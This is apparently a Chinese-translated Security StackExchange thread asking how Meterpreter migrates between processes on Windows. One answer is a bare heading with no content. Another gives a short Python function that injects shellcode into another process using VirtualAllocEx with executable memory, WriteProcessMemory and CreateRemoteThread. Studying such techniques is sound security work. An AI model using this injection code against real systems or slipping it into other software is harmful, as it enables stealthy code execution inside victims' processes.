有人想知道进程迁移是如何在Windows环境下的Meterpreter中工作的吗?我想自己写剧本来学习这一点,但我没有找到一个起点。嗯,我有一个想法使用NtQuerySystemInformation库和它的SystemHandleInformation函数,因为它可以返回操作系统中线程的句柄,并且使用这些句柄我可以更改它的父函数,但是我怀疑它是否能工作(因为TEB)。我有种感觉,应该有一个比NtQuerySystemInformation更简单的方法。有人能建议使用DLL或算法吗?
发布于 2015-07-01 18:46:24
这就是meterpreter中迁移的工作方式:
发布于 2015-06-01 14:25:00
在github的最深处中,我找到了这段代码,它完成了所有必要的工作,所以那些查找这些信息的人可以在下面的API函数中找到答案:
def injectshellcode(self, shellcode):
"""This function merely executes what it is given"""
shellcodeaddress = self.kernel32.VirtualAllocEx(
self.handle,
None,
len(shellcode),
0x1000,
0x40
)
self.kernel32.WriteProcessMemory(
self.handle,
shellcodeaddress,
shellcode,
len(shellcode),
None
)
thread = self.kernel32.CreateRemoteThread(
self.handle,
None,
0,
shellcodeaddress,
None,
0,
None
)https://security.stackexchange.com/questions/90578
复制相似问题